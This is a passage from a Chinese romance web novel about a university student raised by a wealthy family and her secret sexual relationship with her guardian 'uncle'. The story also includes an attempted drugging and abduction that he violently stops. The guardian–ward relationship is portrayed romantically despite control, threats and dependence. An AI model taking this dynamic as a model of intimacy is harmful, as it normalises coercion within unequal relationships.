一夜荒唐过后,沉寂的记忆苏醒。
她趴在柔软的大床上,脸颊涨得通红,连头都抬不起来。
无论是给沈长凛发那些消息和照片,还是接下来发生的事,就没有一件是谢沅能够承受的。
强烈的羞耻感快把她给逼疯了。
最后那些照片是沈长凛握着她的手一张张删掉的,他要求很严格,只有完成一次,才可以删掉一张。
到最后的时候,谢沅已经哭得不成样子了。
她缩在他的怀里,腿死死地盘着他的腰身,哭着发誓再也不会这样了,沈长凛才放过她。
谢沅只喝了少许加了酒精的果汁,可受到的累却一点不比喝真酒要少。
她趴在床上,怎么也提不起勇气下楼用早餐。
但腹中又的确已经空空。
谢沅揉了揉眼眸,想去取小冰柜里放着的巧克力。
她刚下了床,就有电话打过来了。
看着【秦承月】三个大字,谢沅的手颤了一下,差点把手机扔掉地上,她按了接听,那边立刻传来秦承月的声音。
他之前和温思瑜在一起的时候,对她比沈宴白还要漠不关心。
尤其是这半年。
这就是近来,两人的联络才渐渐变多。
昨天晚上在海边时,秦承月说了很多话,他温柔时是很有魅力的。
但谢沅看着他的脸庞,却只想得到沈长凛。
她那时又有点醉,一晚上过去也不记得秦承月说了什么。
谢沅执着电话,轻轻地开口:“承月哥,你有事吗?”
恰在这时,一双手突然抚上她的腰间,继而修长的指骨轻柔有力地分开了她的膝。
谢沅眼眸睁大,失措地对上沈长凛的视线。
14、第14章
谢沅坐在地毯上,手里捧着电话,半边身子都靠进了沈长凛的怀里。
她咬着唇瓣,短短十余分钟下来,樱色的粉唇被咬得通红。
这种姿势太怪异了,好像是被当成婴孩在对待。
谢沅的手指攥紧,眸光也是一片迷乱,她全然不知她是怎么跟秦承月讲完的电话。
按灭屏幕的时候,她脱力般地软下身子,本就肿着的眼皮更红了。
谢沅肌肤娇嫩,身上很容易就会留下痕印。
雪肤柔软,被带着薄茧的指/腹沾着药掠过时,也会有难以承受的感触。
沈长凛的容色平静淡漠,自然地将她抱在怀里,一点点地上药,指节抚过红肿处时,动作极尽轻柔。
可即使是这样小心的呵护,谢沅也受不了了。
她红着脸按住沈长凛的腕骨,嗓音带着颤意,低声唤道:“叔叔。”
药已经上完,沈长凛没有多弄她,手臂穿过谢沅的腿弯,将她从地毯上抱了起来。
他轻声问道:“跟他都讲什么了?”
谢沅坐回到床上,她的眸中还带着些迷蒙,抿着唇说道:“没有讲什么,承月哥问我考试的事,然后又问我什么时候放假。”
她这两周都有考试,这周是考查课,下周是考试课的集中考试。
哲学系的课业不繁重,但考试的事,到底也没法太放松。
沈长凛轻轻地“嗯”了一声,然后取来纸巾,将湿润的指骨擦净。
谢沅满脑子都是昨夜的事,仅仅是看着沈长凛净手,脸颊就热得发烫。
与此同时,背德的犯禁感再度升起。
不能再那样了。
谢沅的指节攥紧,她鼓起勇气,看向沈长凛的眼,细声说道:“叔叔,下次我通电话的时候,你能不能不要那样了?”
她的心脏怦怦地跳着。
沈长凛的眉眼轻动,他静默地凝视了谢沅片刻。
她刚刚提起的勇气一下子又全下去了。
谢沅垂下眼帘,她的指节攥紧身下的薄被,声音低弱:“叔叔,只是通电话的时候,可以吗?”
她小声说道:“我害怕会出声……”
谢沅不会哄人高兴,但她真的很会令人不高兴。
眼见沈长凛唇边的笑意退去,她更是紧张得厉害。
谢沅心里焦灼,眼睫也一抖一抖的。
她有点后悔,沈长凛一大早过来,还悉心给她上药,应当是不会想听这种话的。
但片刻后,他只是低笑一声。
沈长凛柔声说道:“你还可以把电话挂掉的,沅沅。”
男人的脸上没什么不快,仅仅是带着些调侃。
谢沅紧绷的心弦陡地放松了下来,只是掌心依然汗涔涔的。
她仰起脸庞,细声说道:“我知道了,叔叔。”
沈长凛没有多留,轻声说道:“没事的话,待会儿就下楼用早餐吧。”
谢沅起身送他,声音细柔地说好。
沈长凛离开很久,她脸上的热意才渐渐退下去,但手指不小心碰到相册时,昨夜的混乱记忆还是不住地往脑海里面蹿。
将相册关闭后,谢沅朦朦胧胧地想。
这一番折腾下来,事情好像回到正轨了,但又好像没有完全回到正轨。
谢沅垂下眼帘,慢慢地站起身。
叔叔虽然强势,可如果到时候她真的订婚,他应当不会再如何。
谢沅看向落地窗外,青绿成荫,枝繁叶茂,依旧是清濯如洗的好夏景。
-
沈宴白觉得太不可思议,他惊讶地问道:“您说谢沅这学期去学攀岩了?”
谢沅性子沉闷,也没什么兴趣爱好,是个颇为没意思的姑娘。
再加上胆子又小,就是想培养爱好也难。
之前霍阳带谢沅去玩滑翔伞,她不敢下去,霍阳哄得嗓子都哑了,她也没能鼓起勇气。
后来干脆连着两月都不跟霍阳出去,处处躲着他。
沈宴白听众人讲起的时候,忍不住笑出了声。
他是真没想到,谢沅这等胆量,竟然有一日会主动上攀岩课。
难怪会有那么重的掐痕,难怪之前私人医生会给她开那种药。
近来疑惑的诸多事情,突然间豁然开朗了。
沈宴白哑然失笑,他靠在书架边,温声说道:“吓我一跳,我还以为是怎么了呢。”
沈长凛执着钢笔,利落地签名,然后把文件递给管家。
他轻声说道:“她最近要考试,别总是闹她。”
沈长凛将桌案上的几份文件收整起来,而后阖上钢笔,漫不经心地说道:“你是不是也要毕业典礼了?”
在秦沈两家,沈宴白最敬着的就是沈长凛。
在沈长凛的跟前,不可一世的沈家大少也会敛了锋芒,谦逊恭谨。
他会跟沈长凛吵架,但实际上没有谁比他将沈家、秦家——或者说沈长凛的利益看得更重。
沈宴白扬起唇角,笑着说道:“就在下周,不知能请您拨冗过来吗?”
国外的学校很重视这个。
更有甚者,携全家老小去参加毕业典礼。
沈宴白自小就是很独立的人,在国外三年,没有带任何人过去。
堂堂大少爷,也学会了烹调蒸煮。
沈长凛低笑一声,抬起眼帘:“这时候才想到跟我说啊?”
他的神情温柔淡漠,矜贵的侧颜俊美。
光影之下,像是从画卷中走出的人。
在外面的时候,沈长凛偶尔会流露疏冷,他出身顶级豪门,位高权重,更是不折不扣的贵公子。
但在家里人面前,他也总是别样的温柔。
“是侄子思虑不周了,”沈宴白弯起眉眼,也笑着说道,“您就说,您能不能来吗?”
他将手撑在桌案上,难得流露少许青年人的气性。
“行了,”沈长凛看了他一眼,容色矜雅,“之前就把时间空出来了,具体的安排,记得跟李特助再说一声。”
沈宴白眉眼飞扬,说道:“好,您放心,我下午就跟他去说。”
沈长凛唇边含笑,继续问道:“对了,你那女友呢?要带回来吗?”
-
谢沅用完早餐,就准备回学校。
她周中的课很多,而且大都在下午和晚上,完全没有空闲在家里多待。
昨晚回来得迟,睡得又迟,没有宿醉简直是奇迹。
谢沅今天的课尤其多,一直要上到晚上九点半,因此吃完饭后便离开了。
沈长凛和沈宴白下来的时候,她已经离开许久。
桌案上的餐点还没收起,她用得不多,连果汁都没有喝完,玻璃杯的边缘上唇印隐约。
沈长凛看了一眼,没有多说什么,眉心却是微微拧了起来。
谢沅并不是故意不好好用餐的。
她捧着吸管杯,在车上慢慢地喝热水。
喝酒是真的难受,酒不仅苦涩,而且总是会让胃里作痛。
谢沅不明白什么人爱喝酒,她反正是真的很不喜欢。
这都一夜过去了,她还是觉得胃里有小火苗在蹿,一点也不觉得饿。
好在今天的课够多。
燕大下午和晚上的课卡得很紧,如果是联排课,更是没有须臾休歇的时间,从一个教室离开就要去下一个教室。
每次下课晚,谢沅都会干脆在外面吃晚餐。
从教学楼走出来的时候,天色已经深黑,弦月高悬于枝头。
但大学附近,哪怕是夤夜,都还有的是人。
谢沅和同学挥手告别,去常去的餐厅用简餐。
她的头发束了起来,背着帆布包,看起来就和任何一个寻常的大学生没有区别。
谢沅执着手机,翻看菜单,犹豫许久才决定好吃什么。
正在这时候有人突然轻拍了拍她的肩头,笑着说道:“妹妹,能不能加个联系方式?”
谢沅眸子睁大。
餐厅的格调很雅致,来人也西装革履,瞧着体面正经。
但谢沅的身躯还是有些紧绷。
她细声说道:“对不起,不方便。”
谢沅不善于拒绝别人,神情里也带着点无措。
但乖顺的女孩子,反倒更惹人动心念了。
“真的不可以吗?”那人笑得很温柔,“我跟朋友大冒险失败了,加完就删,可以吗?”
他看了眼身后。
谢沅循着他的目光看去,果然瞧见了一桌青年男女。
她有点为难,又想不出拒绝的措辞,慢慢地点亮了屏幕。
“可以加,”谢沅歉疚地说道,“但是我待会儿真的要删你。”
那人挑了挑眉,说道:“好,麻烦妹妹了。”
他的衣着正经,神态也很绅士,但谢沅看着他,思绪总是会往霍阳那群世家子弟上飘。
加完之后,那人便笑着离开了。
谢沅点的餐刚好也到了,没多时还有侍者给她端上来一杯冰激凌,说是赠送的。
她没有多想,但胃里用不下太多,就放在了一边。
谢沅吃东西慢,一顿简餐用完,也已经十点了,但她吃完去结算的时候,侍者却说已经有人结过了。
她想起那个来加她联系方式的人,心中有些莫名的预感。
谢沅记得价格,低头给那人发消息。
【您好,请问是您给我结算的吗?】
她一边发消息,一边走出餐厅。
谢沅背着包走出门,迎面就撞上了刚才的那人。
他换了身衣服,领口微微敞开,坐在车里,笑着看向她:“真巧,妹妹。”
比起方才的西装革履,他的气质里多了几分明显的风流和纨绔姿态。
带着痞气。
轿车的标志很显眼,谢沅不认得超跑,更记不清那些复杂的系列,但她还是认得这种知名的轿车的。
当那人从车上下来的时候,她本能地戒备起来。
他笑得很温柔,问道:“是要回学校吗?要哥哥送你吗?”
阴影落下来,将光给遮住了。
更麻烦的是车后座下来的两个男人,脸上都带着笑,附和地说道:“这么晚了,不好打车,我们送送妹妹吧。”
这是惯来恃强者的口吻。
谢沅握紧手指,抬声说道:“不需要,我的司机待会儿会来接我回家。”
那人闻言眉眼挑起,“哈”的一声笑了出来,眉眼间都带着嘲讽:“妹妹可真厉害啊,哥哥今天没看错人。”
他言辞里戏谑的意味很重。
谢沅听得作呕,她的目光摇晃,颤着手摸出衣兜中藏着的一把小短刀。
那是之前温思瑜送给她的。
温思瑜喜欢格斗,身边又总有保镖,用不着这种防身的小件。
给谢沅的时候,她脸上带笑,眉眼高扬:“别看它小,见血封喉,懂吗?”
“你们学校校风好,但学校里面人杂,又没人处处护着,”温思瑜轻描淡写地说道,“你拿一个,总不会有错的。”
那人见谢沅脸色苍白,更近一步。
“妹妹,你年纪还不大吧?”他居高临下地说道,“认得这是什么牌子吗?”
他扯了扯衣领,将那标志坦露出来。
谢沅对品牌几乎没有任何研究,只是想争取点时间。
她步步后退,颤声说道:“你别过来,你再靠近,我就、就……”
那人很得寸进尺,反倒是越走越近了。
他轻佻地说道:“你就怎么样啊,妹妹?”
当他要伸手抚上谢沅的脸庞时,她颤抖地将那短刀按了出来。
但她还没有反应过来,那人就被踹倒在了地上。
原本还张扬恣意的纨绔,登时就吐出来了一口血。
沈长凛容色冰冷至极,眸中带着嗜血的寒意。
谢沅从未见过他这样冷酷的姿态,但在那个瞬间,她几乎是无法控制地嚎啕大哭,扑到了他的怀里。
15、第15章
沈宴白过来的时候,谢沅已经被沈长凛抱上车了。
她惊魂未定,单薄的后背颤动,手臂紧紧地攀上沈长凛的脖颈,脸庞也埋在了他的胸前。
男人的容色极冷,眸底也是一片深黑。
他的指节修长苍白,手背隐约沾染了少许血迹,色泽触目惊心。
沈宴白从未见过沈长凛这幅姿态。
他径直抱着谢沅上了车,所有的注意全放在怀里的姑娘身上,连沈宴白过来时都没有看一眼。
谢沅在哭,又像是已经哭累睡着了。
她白皙的小腿无力地垂落,乌发也披散了下来。
露出来的小半张侧脸苍白得没有一丝血色,安静得像是个漂亮人偶般。
沈宴白咬紧牙关,强忍住心底暴虐的念头。
他快步走到李特助身边,现场已经被封锁起来了,警车的声音高响,红蓝色的灯光刺目。
李特助的脸色也是从未有过的难看。
他的面容阴郁,眉眼中带着戾气。
“这事没有任何和解的可能,岑先生。”李特助冷声说道,“下药,绑架,意欲迷/奸,我们要是晚来一步,现在等来的是不是我们大小姐的尸首了?”
他掷地有声,容色冰冷。
沈宴白闻言脸色也更加阴沉。
燕城二代圈子里多纨绔,有人看上心仪的女孩后会威逼利诱,百般设计,手段无所不用其极,直将人弄到手里才算满意。
沈宴白恣意风流,对此也有所耳闻。
但这还是第一次有人敢把主意打到沈家头上,而且是这么脏的手段。
今天要不是沈长凛刚巧过来接谢沅,后果不堪设想。
沈宴白的面容阴沉,胸腔里有血气满涌。
他低声问道:“谁家的?”
李特助回过身,看向沈宴白,低声说道:“岑老先生的孙子,这几年不在国内,刚从国外回来。”
岑家的家风是有名的好。
岑老先生更是闻名遐迩的平易近人。
但这个独孙却是被惯坏了的,向来肆意妄为,五年前惹到了人,被连夜送出国。
眼下刚刚回来,又惹到了更得罪不起的人。
沈宴白声音冰冷:“人呢?”
“先生来得及时,已经将人给处理了,”李特助低声说道,“小姐没事,就是受了惊。”
他用词很含蓄。
但见沈长凛方才冷酷至极的容色,沈宴白就知道不仅仅是随意料理那样简单。
即便如此,仍是有暴虐的念头在翻涌。
谢沅性子乖顺,在沈家待了多年,依旧是那副温吞和柔的模样,行事从来不张扬,话也很少,总是安安静静的。
但就是这么一个孩子,也有人要动。
沈宴白眉眼阴翳,他拦住李特助,低声说道:“剩下的事让我来处理吧。”
-
谢沅一晚上都没睡好,她额前冷汗涔涔,反复梦到过去的事。
一会儿梦到父亲的葬礼,一会儿梦到母亲的再婚。
又过一会儿还梦到祖父投水的事。
父亲是遗腹子,她其实从未见过祖父,只是听人言说和看纪录片,才得知这段往事。
但在迷乱的梦境中,这段过往反复地重现。
压抑的环境把人逼得喘不过气,那其实已经是黎明前最后的黑暗了,可是祖父不会知道。
谢沅被噩梦惊醒时,满脸都是泪水。
沈长凛拥着她,轻声哄道:“别怕,沅沅,叔叔在这里。”
她应该怕他的。
但沈长凛俯身的时候,谢沅只想紧紧地攀上他的脖颈,投入他的怀抱。
她颤抖地撑着手臂,跨坐在他的身上。
谢沅流着眼泪,生涩地吻上沈长凛的薄唇,他身上的雪松气息冰冷凛冽,唇也微微带着点凉意。
她主动地分开过柔膝,却几乎从未主动吻过他。
恐惧和无措攀升到顶点的时候,身躯先于理智,完成了这个动作。
谢沅的手抵在沈长凛的胸前,阖着眼眸,无措地吻着他。
他很多时候是强势的人,尤其是在床笫之间。
但这个夜晚沈长凛什么都没做,他只是静默地任由谢沅吻他。
一吻结束后,谢沅的气力就要耗尽。
她垂下眼帘,靠在沈长凛的怀里,再度昏昏地睡了过去。
等到翌日睡醒后,谢沅才从那迷乱的状态里彻底挣脱,她仰躺在床上,侧眸看向身畔。
沈长凛已经离开了,她也不知道他在她身边待了多久。
谢沅只知道,她又给他带来麻烦了。
尽管这件事是个纯粹的意外。
她这样的身份的确是不适合抛头露面的,承在她身上的是沈家的声名和荣誉。
读书对谢沅来说,其实是没有任何用处的。
做豪门的少夫人,不需要任何哲学知识,也不需要她懂什么美学、伦理学。
早早地嫁去秦家,才是她最应该做的事。
如果昨夜出事,谢沅几乎不敢想事情会怎样发展。
再想想那杯没有吃下去的冰激凌,她只觉得后怕。
那人一看就是惯犯,不知多擅长作践人,威逼利诱,暴力强权,什么恶劣的手段都使的出来。
一旦有照片流传,后果不堪设想。
哪怕仅仅是有风声走漏,也会有数不尽的麻烦。
她的声名安危无所谓,可是沈家的荣誉不能有丝毫的受损。
谢沅紧抿着唇,慢慢地垂下了眼帘。
许久,她才再度睁开眼,攥着手指坐起身,天色有点阴沉,也不知道是不是要下雨。
她换了身衣裙,然后去洗漱。
沈长凛事务繁多,谢沅以为他已经离开,但刚刚走下楼梯,就瞧见了他的身影。
他站在窗边,正与人在讲电话,容色漠然,声音冷淡。
电话那头的岑老先生德高望重,正频频地在同他道歉恳求。
可沈长凛的言辞也没有软下过分毫。
他声音很轻,但没有一丝温度:“我敬您是长辈,您也理解一下我的心情。”
“我们家都是拿沅沅当亲孩子看待的。”沈长凛慢声说道,“岑世伯,如果您的女儿遇到这种事,您说您会怎么做?”
他的话语看似还带着些对长辈的尊敬。
实则字字句句都尖锐得不可思议。
都说沈家大少爷沈宴白桀骜不驯,最是张扬。
其实沈长凛当年比他要恣意随性得多,他是真正的顶级贵公子,无论是当初在国外,还是后来在燕城,都是众星拱月般的存在。
也就是年岁渐渐上来了,才敛了性子。
但不管是那时候,还是现如今,沈长凛对谢沅都是那样的爱护珍重。
谢沅站在楼梯上,神情愣怔,樱唇紧紧地抿着。
须臾,沈宴白下楼她才缓过神来。
他停下脚步,眉眼微动,低声问道:“怎么哭了?”
谢沅仰起脸庞看向他,泪水滑过脸庞往下滴落的时候,她才意识到她哭了。
她抬起手,胡乱地揉了揉眼睛。
谢沅低声说道:“刚刚不小心迷着眼睛了,哥哥。”
她昨晚没有睡好,脸色苍白,水眸也有些迷离失神。
沈宴白放轻声,看向她说道:“饿不饿?去用早餐吧。”
谢沅点点头,随着沈宴白一起过去,沈长凛刚好讲完电话,侧身就和谢沅对上了视线。
她执着餐叉,“啪”的一声就把餐叉弄掉了。
沈宴白愣了一下,帮她将餐叉拾起,然后又递了一支新的给她。
谢沅容色慌乱,紧忙说道:“麻、麻烦哥哥了。”
她手忙脚乱,连早上好都忘了跟沈长凛说。
他拉开餐椅坐在她身边时,谢沅才恍惚地抬起眸,细声说道:“早上好,叔叔。”
沈长凛刚刚与人通电话时容色很冷,落座后神情才渐渐缓和。
三人很久没有一起用过餐。
谢沅神情紧张,有些懵然无措。
但沈长凛只是轻声问道:“睡好了吗?怎么起这么早?”
“睡好了,叔叔。”谢沅声音细弱,“今天还要考试,所以起早了。”
她的声音还是低低的,脸色却比昨天要好太多。
现在的谢沅到底不是那个十五岁的小姑娘了。
沈长凛轻笑一声,说道:“抱歉,忘记你还要考试了。”
日光透过玻璃窗照在他的脸上,让他的神情显得那样矜贵温柔。
沈长凛的唇边含着笑意,谢沅却蓦地想起昨夜迷乱时的那个吻,她掐了掐掌心,强逼着自己收回思绪。
沈宴白皱了皱眉。
他抬起眼帘,问道:“是很重要的考试吗?一定得参加?”
谢沅下意识地就想摇头,但沈长凛轻轻开口了:“没事,去参加吧,只不过这几天要有人全程接送你。”
他很早之前就提过这件事。
谢沅不好意思这样,很艰难才拒绝了沈长凛。
现在他再提出,她只觉得歉疚,如果当初答应下来,就不会发生昨天那样的事。
所以谢沅立刻就点头应下,乖声说道:“我都听您的。”
沈宴白没再说什么,蹙起的眉也舒展开来。
-
负责接送谢沅的是新提上来的陈秘书,他也是燕大毕业的,对这偌大的校园比谢沅还要熟悉。
快迟到的时候,他带着她一路抄近路,愣生生在签到前赶了过去。
谢沅周末在图书馆待着,陈秘书总能给她找到最舒适的位子。
她自己都没发现这里有这么舒服的地方。
谢沅好好地复习了两天,她每次期末都会提前一个月复习,平时也常做笔记整理,期末周并不会很累。
即便如此,她也是到了周日晚上才长舒一口气。
那天的事沈长凛和沈宴白都没有再提起过。
谢沅不知道他们是怎么处理的,也没有多问。
她只觉察到学校附近的警卫变得更多了,她之前喜欢去的那家餐厅也大整改了一次。
但陈秘书实在厉害,寻到了好几家新的餐厅。
谢沅跟着他,才知道原来附近这么多好吃的餐厅。
她连着几天都是在外面吃的,给阿姨发消息的时候十分不好意思。
好在沈长凛近来也忙,没有说什么。
周日晚上,秦承月来找谢沅,陈秘书帮她背着包,两人刚从图书馆出来。
他们见面谈话大多数时候是在餐厅,之前见得还算多,这半年面都没碰过几回。
谢沅本就寡言,更没话可说了。
好在秦承月很会说话,而且还很擅长找话题。
他还为她看过几本哲学原典,哪怕是专业课的东西,也能跟她聊起来。
沈宴白马上要回学校准备毕业的事了,今晚圈子里的朋友们给他办了饯别的宴席,虽然他马上就要彻底毕业回国了。
这群人好热闹,什么事都能办个宴席。
不过人不多,全都是认识的人。
谢沅跟秦承月一起过去,先前他跟温思瑜一起出车祸,两人的事情被迫摊开,闹得不太好看。
现在事情沉寂下来,总归是要朝着旧有方向行进的。
谢沅十六七时,就对这个结局有所预料,因此并无排斥。
毕竟她被接到沈家的目的,就是为了联姻,哪怕不是秦承月,也会有其他人。
大约等到暑假,沈宴白从国外回来后,就要着手订婚的事了。
走过明路后,这一切只会越来越快。
谢沅和秦承月到得不早不晚,雅间临水,有点像古代建筑中常见的水榭。
毗邻竹林,流水潺潺,很有风韵,侍者也都穿着古典。
两人进去的时候,众人还是跟上次似的,含笑调侃了一番。
沈宴白跟秦承月关系好,这些人都跟秦承月颇为熟识,说话也向着他。
见秦承月帮谢沅背包,为她拉椅子递纸巾,众人明里暗里都在给他说好话:“承月哥这么宠我们小谢妹妹呀,等到将来娶进门,得宠成什么样子。”
谢沅脾气好,可能不在乎之前的事,也从来不多提。
但感情这种东西,谁能真正毫无芥蒂呢?
而且姑娘家,本来就得捧着些、哄着些。
秦承月沉稳持重,哪怕是之前两人关系好的时候,也不会太外露的表现。
现今他听了众人调侃,却只是一笑。
霍阳向后倚靠,银灰色的短发被侧灯照亮。
他疏懒地捋了捋头发,惯来爱热闹场子的人,并没有多说话。
谢沅经常和沈宴白身边的朋友打交道,还是不习惯被一群人这样围着瞧着。
她白皙的脸庞微微泛红,害羞地低下了眼眸。
沈宴白走进来的时候,瞧见的就是这样一幅场景。
谢沅脸颊微红,眸光含羞带怯,秦承月坐在她的身边,唇边扬起淡笑,矜持守礼。
两人怎么瞧怎么般配。
但不知为何,在某一个瞬间,沈宴白忽然觉得谢沅脸上的绯色有些刺目。
-
沈宴白走得很早,翌日谢沅睡醒的时候,他就已经上飞机了。
他难得发了社交平台。
谢沅一点开看,就瞧见一群人在他的评论区回复,没有多久回复数就要直逼五位数。
只是很简单的一张照片,是机场的日出。
红日初升,在薄雾中徐徐涌动。
谢沅看了一眼,没有再多看,今天考试周就正式开始了,她这段时间都要忙碌起来。
沈宴白的毕业典礼在本周四,到时候沈长凛也会过去。
他经常出门,去年还在国外待了一个月。
谢沅已经习惯一个人在家,毕竟沈长凛走,管家和阿姨又不会走。
就是每次他出远门前,他们是要共枕的。
谢沅咬了下唇,忽然想起这桩事,要是平时的话也没有关系,可是这周她要考试,如果起不来床就麻烦了。
她心里忧虑,但不敢跟沈长凛说。
那天主动吻过沈长凛后,谢沅一直在悄悄躲着他,好在他近来忙,没有留意到。
直到她考完攀岩课后,两个人才又撞到一起。
谢沅考得很顺利,但下落的时候不小心跌伤了腿,膝盖擦破了少许,并不重但就是疼。
陈秘书一路把她送到了家里,然后取来医药箱,赶快帮她上药。
谢沅换了短裤,躺靠在长沙发上,咬住唇瓣伸直了腿。
在攀岩馆已经紧急处理过了一回,回到家后才知道到底有多疼。
陈秘书热爱运动,非常自信地说道:“没事的,小姐,这伤最多两天绝对能好,快得话一天就没事了,你洗澡的时候注意点就行。”
谢沅抬起水眸,眼泪汪汪:“真的吗?”
她眼眸里的光芒太潋滟了,堪堪到达腿根的短裤也太短了些。
露出大片白皙的雪肤,细腻柔嫩。
沈长凛刚从楼上下来,就瞧见了谢沅这幅姿态。
他眉眼轻动,神情自然地近前,把谢沅轻轻抱了起来。
沈长凛俯身,语调低柔地问道:“怎么跌伤了?”
陈秘书还在这里。
谢沅眼眸睁大,还未反应过来,就被沈长凛抱上了楼。
她的脸庞发烫,细声说道:“考完试后,下落时不小心磕碰到了。”
沈长凛“嗯”了一声,然后轻声说道:“我明天要走,你这两天在家,照顾好自己。”
谢沅认真乖巧地点头。
她腿脚不便,沈长凛陪着她用的晚餐,然后又帮她准备了洗澡要用的东西。
沐浴过后,他把谢沅从水里抱了出来。
谢沅磕磕绊绊,很迟疑怎么跟沈长凛说今晚的事,犹豫间他按住她的头,倾身吻了下来。
她眼眸睁大,突然觉得有什么东西,好像失控了。
16-20
第16章
谢沅的身躯颤动,脖颈后仰,本能地想要挣扎。
但沈长凛吻得很凶,极尽掠夺,远比她那夜生涩的吻要狠戾百倍,就仿佛要将她给拆吃入腹。
谢沅的指骨绷紧,忍不住地呜咽出声。
她的脑中白光阵阵,思考的能力被尽数剥夺。
浅粉色的樱唇被吻得红肿,但在痛意和局促的呼吸外,还带着点难以言说的感觉。
两人接吻极少,尽管他们早已做过更多更亲密的事。
沈长凛会亲吻谢沅的额头,做以安抚。
或是亲吻她的脸颊,诱哄她接着到来的会是奖励,不必害怕。
像这样激烈的吻,谢沅还是第一次承受。
她的眸里尽是水光,神情迷乱,被沈长凛抱起的时候,全然没能反应过来。
腿跌伤以后,谢沅才知道平衡是多么重要。
细弱的挣扎也提不起来,所有的一切都只能无措地接受。
沈长凛的手抚在她的腰侧,修长苍白的指骨微屈,将那纤腰攥紧掌心。
他没有停下过亲吻,也没有给谢沅有任何说“不”的可能。
谢沅像是小舟,在夜晚的风浪中不断地摇曳,被高高地举起,然后再无措地坠落,直到暗夜深邃。
她的眼眸哭红了,可泪水还没有落下来,就被男人给吻去了。
沈长凛像雪一样,衣上总是带着凛冽的暗香,身躯在很多时候也是微冷的。
在夏夜跟他共枕是很舒服的事,他的怀抱冰凉,指节也永远是冷的。
但是现在谢沅才知道,沈长凛也可以是滚烫的,灼热的。
他的眸底是黑暗的,里面尽是她看不懂的情绪,实在是太深了,让她感觉再多看一瞬就会陷进去。
谢沅泪眼朦胧,被沈长凛强逼着,才勉强地睁开了眸子看向他。
他低声说道:“这几天我不在,沅沅会乖乖的,对吗?”
谢沅带着哭腔,声音破碎:“会……会的,叔叔。”
她太渴望解脱了,在沈长凛伸手轻抚向她的脸庞时,她含着泪讨好地咬住了他的指骨。
他微愣了片刻,低笑一声,将指节往她的唇中送去。
沈长凛轻声说道:“沅沅可不要骗我,你知道后果是什么。”
男人的眼底是那么深那么黑,哪怕带着笑意,也会令人觉得惧怕和紧张。
沈长凛或许是真的不喜欢出远门,每次这种时候,他总要比往常更……一些。
今日顾着谢沅腿伤,已是收敛很多。
但她还是害怕,唇瓣抿着,乖顺地连连点头。
直到沐浴完,沈长凛抱她从浴缸里出来,谢沅紧绷的心弦才放松下来。
她本来还为明天的考试忧虑,担心睡不着怎么办。
这会儿累得厉害,谢沅的头垂在沈长凛的肩上,还没走出浴室,就昏昏地要睡过去。
她的长睫湿润,低低地垂落,在眼睑洒下一层浅色的阴影。
容颜单纯,带着少许孩子气的天真和懵懂。
沈长凛把谢沅抱上床,将壁灯按灭时,又俯身轻吻了吻她的唇。
他的声音微哑,带着威胁的意味:“最重要的一件事,要记得想我,听到没有?”
谢沅清醒的时候,沈长凛是不会这样说的。
也就是趁她睡着,才会如此言语。
她累得头脑昏沉,已经浸入半梦半醒间,却不想在睡梦中,她还是做了回应。
谢沅乖顺地吻了回去,声音细弱地说道:“听到了,叔叔。”
她都已经困倦得说不出来话了,但言语中的依赖还是那样明晰。
躁动着的恶欲,蓦地沉静了下来。
沈长凛撑着手臂,侧身看向谢沅的睡颜,忽然什么情绪都没有了-
第二日谢沅还是顺利起来了,她睡醒的时候,沈长凛已经离开。
她打着哈欠坐起身,脑中的思绪凝滞,揉着额侧的穴位很久,昨夜的记忆才渐渐地回笼。
那个吻实在是太激烈了。
谢沅执着牙刷,眼看着镜子中自己的脸庞逐渐变红。
或许是叔叔要出远门的缘故。
他矜贵温柔,性格平和,只有在这种时候会流露出少许躁动的情绪。
好在她昨天跌伤了。
谢沅不太敢想,如果沈长凛完全不怜着她会怎样。
这半年他有时事情会很多,有时也会去宁城、滨城,但好像确实很久没出过国门了。
上午有考试,谢沅一大早就准备出门,陈秘书照旧过来接她。
想到昨天晚上的事,她的神情有些不自然,上车的时候差点又磕碰到,陈秘书扶了她一把,才没有跌倒。
谢沅心思乱,但片刻后她想到,陈秘书或许本来就是知道的。
沈长凛并不避讳这件事。
之前差些被沈宴白撞见,他说的是“让他知道”,她极力摇头,沈长凛才勉强应了她。
谢沅的胸腔有些闷闷的。
她也不知道情绪从何而来,只是有些说不出的滋味。
但陈秘书却很善解人意,下车以后他温声说道:“先生待小姐可真好,我小时候磕碰着,我爸老是让我自生自灭,还美名其曰锻炼我的意志。”
他应该是知道的。
哪怕不知道,昨天的事后也应该明白了。
可听到陈秘书这样言语,谢沅心中莫名放松了很多。
“叔叔太欺负人了。”她眉眼弯起,柔声笑了出来。
陈秘书疏朗一笑,跟着说道:“可不是嘛,还好我身体素质好,好得也总是特别快。”
两人说着,就到了考试的教室。
谢沅跟他告别,走了进去,考试的时间很长,两个小时下来,她的手腕都开始疼。
今天的考试很满,上午这一场过去后,下午和晚上还有。
八点的时候,谢沅才结束今天的考试,她靠坐在车上,昏昏地就要睡过去,累得连手指都不想抬。
她这学期选的课多,相应的考试也就多。
谢沅的指节疼得厉害,回到家就想沐浴睡觉,用晚餐的时候也提不起劲。
为了期末周,她做足了准备,仍旧被考试折磨得头脑发昏。
直到周五上午考完最后一门,谢沅才恢复了生机,她捧着玻璃杯,咬住吸管,坐在奶茶店喝得欢快。
她脾胃不好,沈长凛只允她喝果饮。
谢沅很乖,也不会乱喝东西。
但是考试很累,喝一些高甜的饮品,才能好好地恢复精神。
反正沈长凛这几天不在,也不会知道。
不过他不在,有些事情就需要谢沅来做,她不是个很会为人处世的姑娘,却到底也是沈家的一份子,各种场合总归是要出席的。
晚上霍家有宴席。
霍老先生今年八十大寿,沈长凛和沈宴白都不在,谢沅是一定要前去的。
礼服和各种礼品是早先就准备好的,无须她多烦心。
谢沅犹豫的是下午的事。
温思瑜之前车祸,伤得略微有些重,还做了小手术。
她先是在医院待了许久,然后又是去了疗养院。
温思瑜是在自家的疗养院安养的,她父亲当初在俄国待过很久,很推崇疗养院,后来出资在燕城也建了几所。
权贵圈子里的人本就养尊处优,温家声势又大,谁会不捧场呢?
温思瑜这一回静养了许久。
往日明艳张扬、闲来无事就上头条的人,近来连社交平台都没有发过一条。
谢沅本来想去看她的,碍于沈宴白的威势,并不敢在他眼皮子底下出门见温思瑜。
加上最近事情又多,就和姑姑沈蓉通了一次电话。
沈蓉并没有任何苛责,话里话外都是歉疚。
她比谁都清楚谢沅的无能为力,也知道这件事是给谢沅带去麻烦了的。
谢沅是养在沈家的,说好听些,是当女儿似的养着。
说不好听的,她是寄人篱下,处处都要仰仗沈长凛和沈宴白的。
